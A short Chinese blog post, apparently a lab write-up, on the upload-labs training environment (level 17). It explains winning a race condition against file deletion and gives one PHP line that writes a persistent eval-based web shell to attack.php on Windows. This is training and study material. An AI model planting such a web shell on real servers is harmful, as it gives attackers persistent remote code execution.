前言
upload-labs是一个文件上传漏洞的集成试验环境,网上文章很多不再赘述,最近在学习17关的时候遇到了点问题记录一下。
环境
- windows
- phpstudy
利用
利用条件竞争,使用Burpsuite快速向服务器上传文件,在文件还没来得及删除时,恶意代码就可以执行。但是上传的恶意文件最终还是会被服务器删除的,所以要利用我们上传的恶意文件可以顺利执行的一瞬间向服务器写入新的恶意文件,来达到持久化的目的。如下,将新的一句话写入attack.php,在windows系统中使用^转义。
<?php system("echo ^<?php @eval($^_POST['attack']);?^> > attack.php");?>
网友评论